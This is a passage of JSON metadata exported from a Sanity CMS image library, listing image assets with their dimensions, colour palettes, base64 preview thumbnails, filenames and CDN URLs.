XxyXY63EcbkfWMylNXaKG7sV9SjzvjK3LswVnpSzoK7UElhu1YD7aSpISTxlNJ0/Vu0grXIjaobaR0tkdtu2MZoqhiRy/Zh+rbJ6Ffyo8ZLaGmyAkBOMYwd3Edz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6731","foreground":"#fff","population":6.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#566708","foreground":"#fff","population":1.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9b7a67","foreground":"#fff","population":6.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b19d","foreground":"#000","population":2.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccec","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7a67","foreground":"#fff","population":6.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b45444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AliHeadshot.jpeg","path":"images/sczeoy4w/production/ecf3624f19a08ac2149d436d04621e0b01d762fb-499x499.jpg","sha1hash":"ecf3624f19a08ac2149d436d04621e0b01d762fb","size":48525,"uploadId":"NQkuEbvD4kdFHgNguDfs0eYyPekm1vzw","url":"https://cdn.sanity.io/images/sczeoy4w/production/ecf3624f19a08ac2149d436d04621e0b01d762fb-499x499.jpg"} {"_createdAt":"2022-06-30T20:09:09Z","_id":"image-ed7b7a61c2a9bce0d6587e4f93f548bb6f118681-2160x956-png","_rev":"lf1jOsEAA7PAFZMZhZoeds","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:14Z","assetId":"ed7b7a61c2a9bce0d6587e4f93f548bb6f118681","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S$ovR48|^+$A~q01IAICnT0dJPENNeNM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2594142259414225,"height":956,"width":2160},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABDUlEQVQokZWS207DMAyG+/6vxSVPsLENKO0OSBvk5DjHH5x2gt0MWumTmjj+HLvtHrZnPD6NWO1esD1tsTJr7P0eFAmpZJRaURfQrQ4K67cT+mFE//6Kjd5gtHso0iD2CCEgxIgYE1KaiLJu73lap4ScC0op6NzxDDMc4S6fIGdh2cCyA3nf8J7hmcGzWGAOCEGKxGkvxCbPIqz9AeV5QNYGSW4RE7IEc7lBqt+lzi1XQ6jaInmGdQ5KKRBRa0UOyLNohnVOEIF1BKU0rLVtdlL5L0EptbV6PdtdAzKDNuwZKZCztH4fySNOcD4hxPQjlOBv4X/hEKEt46wYF+1vhe0XWYh8fUcMZRgf38IviXnAC6jqP4oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16689b","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1244f","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b1cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ce4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68bc70","foreground":"#000","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1244f","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ed7b7a61c2a9bce0d6587e4f93f548bb6f118681-2160x956.png","path":"images/sczeoy4w/production/ed7b7a61c2a9bce0d6587e4f93f548bb6f118681-2160x956.png","sha1hash":"ed7b7a61c2a9bce0d6587e4f93f548bb6f118681","size":142086,"uploadId":"OdN7MKix2iizP0fnjMVKnouIgVPoQKVb","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed7b7a61c2a9bce0d6587e4f93f548bb6f118681-2160x956.png"} {"_createdAt":"2023-01-27T11:29:52Z","_id":"image-ed9b382d12a7601671d00664e9a930203b8d4922-650x356-png","_rev":"pnOvEyahjeT2Gte9fYsbaV","_type":"sanity.imageAsset","_updatedAt":"2023-01-27T11:30:21Z","altText":null,"assetId":"ed9b382d12a7601671d00664e9a930203b8d4922","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MlKc8x}rxYSxoex@%KNI-noxW.xYsoV]%0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8258426966292134,"height":356,"width":650},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSklEQVQokW3S3UsUURjH8TOj64zjLqvuqouavUCWdZEZhUhBVhRoUmrEsqRmKq0tamtnVhGDXqC7uuoPKHoRoiIlkFgJA4WiLHSmbvpfzjdm1tUlHDjMxZznc37PPEfgyDCO3I0jG1mfrGd9sky5tsafjMCROo6M+N9c2YBrW8qxBW5+SW+Pv7YeHLnLL/g+dpjloSY+D8bUSjLA6qhgQxbjyEocWYMrq3DtCK5tbkEe6vyHKtf2kh1iZaSZxcQx5uP71cveIMdNr8DAkVHlyGAOsiuVj0pT7YAqD8W19/Fzokl9GTxKtq+Z+cReHp0NM9QSYC3tQVEcabLhFxsemksqjZ1Q4Z/6NdlANtHE8sAeskMVpFotRk8G1ceRKL/uRPhtF/N3Kl9s5FL6sOFhXjL/veGB6+li3neEeN1ezcKlEGu3i2g/qDPTEeL5QB0LyQhLYzrZCcGnlCA3FK/9iNpCt5MK+oVQ04ahZoMW96JFaloIvGG9HbaYG67nSX9U9XQHEKeE4r6Ah/kpm9tJZck2OBPQsIWJFAazmqaeHhC8u6axOh7iw2gtdiLKiS6Ltm6dli7B4xu59jZRCtDcUKZEEVPCIqMbpGM658t17p42mRuo4dlgHcNXyjnSaXKmV6f1sqCzp+Ae2hquXbqJVnjtCzKihIwIMhmwuBUpJREr5UF7mLm+Ol5cr+Jmj0HtOZ14XNB8VdB4IZ9uJzTqgQa2FlbpkjCp8jL6qw3exIN8G6/mR7qMxaTgVSr3X9suCoRWiBWiFo6M/QPkvMUOYZAkSAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#365139","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#774115","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ead98d","foreground":"#000","population":0.56,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beb198","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ead98d","foreground":"#000","population":0.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8264","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7020","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"bg-pattern-two-triangles-and-dot.png","path":"images/sczeoy4w/production/ed9b382d12a7601671d00664e9a930203b8d4922-650x356.png","sha1hash":"ed9b382d12a7601671d00664e9a930203b8d4922","size":60079,"title":null,"uploadId":"TPC6wNjQgTsoDbGkQ1HOBHhLHbd1X6pQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed9b382d12a7601671d00664e9a930203b8d4922-650x356.png"} {"_createdAt":"2022-06-17T08:37:33Z","_id":"image-edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125-png","_rev":"0HOthdQkSgJdYc0C9wbMhW","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:33Z","assetId":"edb48adbb98e1f4a07629ee9d41874c6f52d197b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dPL|4N~U00w5osohwgRk00Md%$IYRVjFNLWB0}NK-:yB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAABcRAAAXEQHKJvM/AAAGO0lEQVQ4jX2Ue1BU5xnG310N1S5QbBAcQQfsTGyptVFXDE5QQdzVCBHkIt4mVWzHJCZIYCGTRMXEIdikhKQNdpiqk9ZLY1A0EG5RFMVAoq7ALhKzILsYEQiXXWEv7J7zPplzFlLzT78zz3m+88f5zXPmfb5DvDSFMKnIFEJsGqEuk2DIIRgl6bwyeJ2NOvq/C+pkWSx5dKoX1i4BcogNXsAkVNrLz4+HWPpzkZSQ1SkKXpai4Pf+QijbQ7iX5wVKCfW7CB37CXffJRheJRTtIixO+h9EnfzYPkVOqBCXpqo8y9L8XIs3TQWFS2l82Jg7E8a8+TDmLUD7G7PQ+eFUAIT+SsKhkwT6mkAHiKmMIF37/kgoiCCSkiFyoz+WJM5G4qaZfCVrLht1WhhzctmQ/S8Ysv+JtqwE3Eifjt5zBMMhksHb9xD+kKbguS8oQDmEBC0hfyFReeEROr+mcFrXC1lhro9eXotLew+gJbuOjblmtL8xio4DnTC9/zoG6ucAeIJ7LylkYFSaD6KTnkRMwq+xOt4HkcmE4J1ECz+z0ksfX/evO3NE21f11jFPffY93HrLxaZi8P2T4L6aEdgMlRAceQASIQoRuHwrAKuTQ7BxzXLsevYZ6JYEoTRcifDtRGjJVpgaC3//7bXDH5ivFdwfbf6rKN49DQzpmZ29zG6bB+K4jZktAJpYFEu4u2c7H8pbz5lRW/FuRDwfDQvD54FTMTODCMZcX9Gg2zF2+039QEuxYL1Xy4KthyG4WF4AZDGDwQIzD7LNeo2bzxfx8eczcCIkimsDA1EXpMQtHyI25kbAmFPKd/aNuC2n4R7tYVEU5Le9N8kmubIDgseBYUsTWo9ncmXMPFwiuQF8IURKqEtjo64RpvdEDDWBx0eZnS6w3c5wjTOLIj++BFFgl+hmt902yB0tx3D8iFog1RRIhyRjGxEbcnRsfL2NzUc9bOsUhaFBHrJ0cleXgQfMJrgGf4DN8Yj7HSPc5xhG96OH3G7t4X5rvyi0trej+Ohu8ZmEGQheTMjIkYDZ2/jOvlLuq7zFjx7axju70HbzMp+8cZavXa9AX3MjWrtuo/b7m1x1/xs+Z27kivtfc/fIAwit7TYUlpRyTPp8fHGW8OlnRGjbG8KmD9Ts6D7AzrEud7cZXfrrXNt0gW+e/w9byk6jQf8lys3XccHyFUt+tc/IP9iHwXqjG/uLqnhl+nKmcLmfcuvZM/4LAEksCN+Io6Oiq7eXra232VZZiaH6i2yy3IHJ9gA9YwPoGR3gQdcjdjsdQEOzwJn59Ry1cZW4KFUpyH+bYQvB7VAArGbgU2a2w+0BRqzM3z9gz9AQu8ad7BEFeeIsit5xD48Ap8rHseWVCqgTluHwKYUFHd6EcsoH/bMwatexx2Nixk+jnWiKtzqTe4+H+XYbeP/hEUG7tWRMnfSUPOWVcROf/FT8FGzeE8zlZ5PZ3HGB7cNWFj2Txfu53G5mk4lxpFQQ0zNahqNTd59ZkRdMmSAsmUGE/BWE2EQ/bFjzNOcmpKHiYD5/W13PDztG2DbA7BwDjzvBjjHwwEPwzWZwyd9F8U8ZZlfchiJ99A71Cu0Zv6C1NUp6TRrK1hWELTEB2Bu5HAURKfjk6ef48907UP3+Sb78SReaztvRVCngYpmIE/9wIz/byttT2+za9R92rNocmxlXHBisrfvlQs055ZPai0QoDCe8s2AaSubN49Mhi1ARMIeLZwfx29HLUZCQywVpp8SDW64IutQmz67nLgnJMUeda1e9eCcuVf2ypjgoVFvtP1dTpZqrqVKGaGuI8Lf5hK9UClz2m4YGP180B/nAGUVCHD2BdFWQa2vYor5Ni9ffS3o27W58bLx+3fPqY+uy5qxcdypglrbWf46m2j9UU60K0dZ4gSx3kQjN0wlXAgiv/JZwo4GkqekDiRL/fFWxc0ORasuGkhmrE//7q+CEBtW0tY2q2Zpa3zDNF74TsOmhmuqJhL1E+Pg3hN9t9oJrZhE+8qex3eEE3UxKyvqSKB4K0toVpGlVLtKWKVdqT0xZoClXTkBkD9VUU6i2mogbfAkNfoSrfl6/4kf4NxHeJPpuWyRhJxH2EuGgfAyIYkEqTQPN1tRQyE+SYDUkQX8EU93LLswrjT0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#706740","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1d5b","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d37b","foreground":"#000","population":3.74,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94c0a3","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d37b","foreground":"#000","population":3.74,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca055","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75a14","foreground":"#fff","population":0.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Paf-logo-image-composition.png","path":"images/sczeoy4w/production/edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125.png","sha1hash":"edb48adbb98e1f4a07629ee9d41874c6f52d197b","size":175561,"uploadId":"mEMSHpUrWzXf3HTCbqjvnB6fa1YEjP04","url":"https://cdn.sanity.io/images/sczeoy4w/production/edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125.png"} {"_createdAt":"2022-06-30T19:57:21Z","_id":"image-eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275-png","_rev":"cEPH2uRN58AU2lp9QO7im1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:00Z","assetId":"eddf87545a9d50123f00dc73f5703fa67c7d9662","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VpK-tYNG4nR*IU~qoLM_ofRjM{ay%Lj[t7M{fQxuj[t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":275,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACxElEQVQ4jY2R60uTURzHn38giAoxMJHC6IL4ziJMM1wT5zQ1NXSJKdkLJaPelG4+eyZmuYtEUjDXK4UgDKbvBVEH0grmZc7bdG4qkm6lu+huv288j/NWvvDAh985v3PO53zhMKPfzTT68weZLRaMWa00OzeHxcVFOByOfZzOJbhcTrhcrliN4XRiaWmJFhbsmJmeJqvVSsxrtY5eqXXEdX5Ej7GfRs1mjI+PH2FiYgKTk5OYmpqCjcfGYxN6Q0ND1Nvbi57uburp6SYmvbwKaSUVyK2tp09fvmJm3o6VlRUhzfLy8j58b21tDevr69jY2IDb7RZ6AwMD0Gq1xLIsWlpawKQWlFKyuIAyHtXg8zcj/XK7EfD74fV6Bfx+P7a3twWCwSAikYgAEQl7JpOJ2tvb0dTUREqlkpiU/BJcupeP9IpqXogNjwc7OzvCYZ/Ph0AggFAohHA4vA+/jkaj8AcCGDGZEBOC4zgw16QlSBJJcaucF/bh9+YWKBpFKBwWEu1d5hPxlU8X4pPyD3o8GBke3hU2Nu4Kr+SVIDE7HzfLq2Ho7cOfLS/4EYlEBcG/RKJRBH0+7KyuYtPhwMjgINRq9UHC5NxiJNyVIrVIBrZTD7NlDHa7HfPz80Ld4/B6zmbDrMWCSbMZ/UYj2traDoQXc4pwPisPF0T3Ia6pA6fWQd/Vha5jMBgMR9Dr9dDpdOB/WC6Xg+OUYBLFxYjLkuJspgTXpWWorG+AXKFAc3MzFAqFAD//D5bdnyti54SECeIHdC4rn87cycNVaRlV1j8XhPyrx4r+gWVZ2qsqlYqYeFERTmdKceq2hC5LSiGr203InkB2CGI5DqrWVjBJkocULyqmuOxCpBTK6HHDS7BKpRD/hBCnUkH19h296XhPTEZVHd2QPaW0ilrkPHlGLxQc2tVqaDSak0IarRaaD53UoTfQX5j6K8pKZMd5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#476067","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19404c","foreground":"#fff","population":15.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#19404c","foreground":"#fff","population":15.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9c5c9","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0938c","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d8995","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85a5f","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275.png","path":"images/sczeoy4w/production/eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275.png","sha1hash":"eddf87545a9d50123f00dc73f5703fa67c7d9662","size":22886,"uploadId":"lO1IAEiSF5RDwthQOYZTrDA4TbqhMtU3","url":"https://cdn.sanity.io/images/sczeoy4w/production/eddf87545a9d50123f00dc73f5703fa67c7d9662-400x275.png"} {"_createdAt":"2023-06-09T07:43:00Z","_id":"image-ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724-png","_rev":"dsxJlHxlnt5nZt5n20ztds","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T07:43:00Z","assetId":"ee19976ad18c2020d5cc0d6c1b33ac33af301ef7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM_P.vf%=ed?}WjZf6j[fQdCfRfjeng#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABOUlEQVQokbXSUUtTARgG4I/l2nTO7SIyvOgmqChhpBhiQb/ByqIc6o5KuZnp7OiONrqoINCB9YefsFYcAu/y4r19eF++LywGT4NnwVLwMngVNIOVYC1YDzaDN0E72A52gr1gP0iDg+AwxC/sX/B1DmxdAL6/CFwMf1s+zzVczjVMcuBW0Bk23A26wYchePAHXBpheZxmhWaJ1TKtMkmRpMBGgbdF3o2yO8Z+hfQ8ZQ7LZCWyYm5y6zpHC2Rz7N0mvU9vmu5NtiZoV+he49MdvjY4mWPwkJMGgwan9/g8Sa8wBJMb9J/Qf0Q6TfaAj7Okt2jX6VSH4F2+zTJY4Ptjzub5Mc/ZDF+mcuCLq6zUWauzOk5SZeM8o6yPsHnl9+SdMboTpDV6dbIaxzX6VY5Kl3WUS3mb//jYPwHX3ufX6RaZCgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbb6b1","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9bc6e","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae7858","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Schibsted_Joanna_social_media_1200x628.png","path":"images/sczeoy4w/production/ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724.png","sha1hash":"ee19976ad18c2020d5cc0d6c1b33ac33af301ef7","size":77198,"uploadId":"iGxPDFdZKm6usYPLcRCYmD2LYTB84EuY","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724.png"} {"_createdAt":"2023-04-12T11:19:04Z","_id":"image-ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74-500x750-jpg","_rev":"gO4PimG2K28q9ZOw6PIoQF","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T11:19:04Z","assetId":"ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dXM7M%Rj?w%20MRk-=t7%gxuR4NHx]n$oeRja$R*R*of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":750,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIEBQYHA//EACUQAAIBAwMEAgMAAAAAAAAAAAECAwAEBQYREgcTIVExMmFxgf/EABcBAQEBAQAAAAAAAAAAAAAAAAQDAgX/xAAcEQACAgMBAQAAAAAAAAAAAAAAAQIRAwQSIRP/2gAMAwEAAhEDEQA/AJbrnre+0fi7KHEFVvLxiA5G/FR6rNdGdT9T2GRtmy88t1YyuBJ3U32B+SDVw66wWl5qrELdnnHFEd19eaddPrPHSWKLPacmaQrGx8+D8VjLn4lQnDrfSN2a7byRXVvHPAwaKRQyt7Bop1FAkEMcUYARFAA9UUoGVTVWh4tTYNluT2Mly5xzkeN/X6plpTRmVxL263UStDEwPNT4P5rQMXf9wQI6bxyjYqaVmUkt7Cea0mePtj6E7qa5zV+joy58OM2/P+UVBRZjZSroxKnYn3RV47KaIy12nR//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50362c","foreground":"#fff","population":5.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b3a28","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cea590","foreground":"#000","population":5.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8bdad","foreground":"#000","population":4.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c2bc","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3735c","foreground":"#fff","population":3.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cea590","foreground":"#000","population":5.78,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC05252-Edit.jpg","path":"images/sczeoy4w/production/ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74-500x750.jpg","sha1hash":"ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74","size":268428,"uploadId":"Fxcyq7JGrIov3hL5QQorAaTcEB95B5Sk","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74-500x750.jpg"} {"_createdAt":"2023-12-06T17:27:02Z","_id":"image-ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047-png","_rev":"zHeFW2t7bUb3lAyGGtAbJp","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:27:02Z","assetId":"ee227aed596f66879d1651ca8c06e4d465a5c49a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SidK_34p?IxunmRjD%aKV@~o-nDioaM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.909264565425024,"height":1047,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABYUlEQVQokX2S60rEMBCF+/7PJ4q/RHBXbZtM7vfskUmsu16w8BEYyseZkyzydML6+gZjDHLOKKWiVqahtYbe+5/kXGCthzEOSlmcX3e8nFYsJCSkkLDWIcY0pCyrtQ9am4JLa1/01uB9xL4ThFBYV8LD4zPu7p+w+BDgnIf3HiEEhBCRUkbKDTmzeKYcslLQY0INCc74ISNloZTD+SzwctqweJ+hdYAiB60djLFjlRATUipjtVIKaikoPNMWgQyssiBpYAyHyGAPswgqeFsz1vcIKRyEIOy7gJQEIjVRGkppEM92CSM1rHYg4gBxCGMsg0VQxSYqiCq0nr1s245tF0MshBzSIfw8uSJrA+TYaiY8WGJqYHLuSKnC+zR65AtiuM+x8rj56wvgStSoaAo53RBeLhccdKbP83b+8+MZP68Q0meAG+Gvv//4buUHnHJKZneH9FvC/zjEx3kVXi+EE34AjVoJu2jBqBQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373b5b","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731010","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#373b5b","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7abcb","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#749cf4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937384","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e44747","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047.png","path":"images/sczeoy4w/production/ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047.png","sha1hash":"ee227aed596f66879d1651ca8c06e4d465a5c49a","size":266322,"uploadId":"MUXR0VFzoG5StJtH888pSw3zJt6QbNMg","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047.png"} {"_createdAt":"2023-06-30T15:50:00Z","_id":"image-ee313bded590b2d5a74ac6b8159490ab24192734-856x120-jpg","_rev":"wI5nx9l7f6wNW7iVDg7B9v","_type":"sanity.imageAsset","_updatedAt":"2023-06-30T15:50:00Z","assetId":"ee313bded590b2d5a74ac6b8159490ab24192734","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"46OWmN}5l::NqG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.133333333333334,"height":120,"width":856},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAADABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIEB//EACAQAAICAAYDAAAAAAAAAAAAAAEDAAIEBRESIbEiM9H/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABoRAAICAwAAAAAAAAAAAAAAAAABA3EyQbH/2gAMAwEAAhEDEQA/ANZTh10yzfTdWwffQi5B7lPBrDsrWxt22ZvPkW217iJEWCpDbt9IFNSebuOnHtt9iIlg/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c447c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06983c","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f39622","foreground":"#000","population":4.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6d0c4","foreground":"#000","population":1.59,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc74","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#44946c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39622","foreground":"#000","population":4.19,"title":"#fff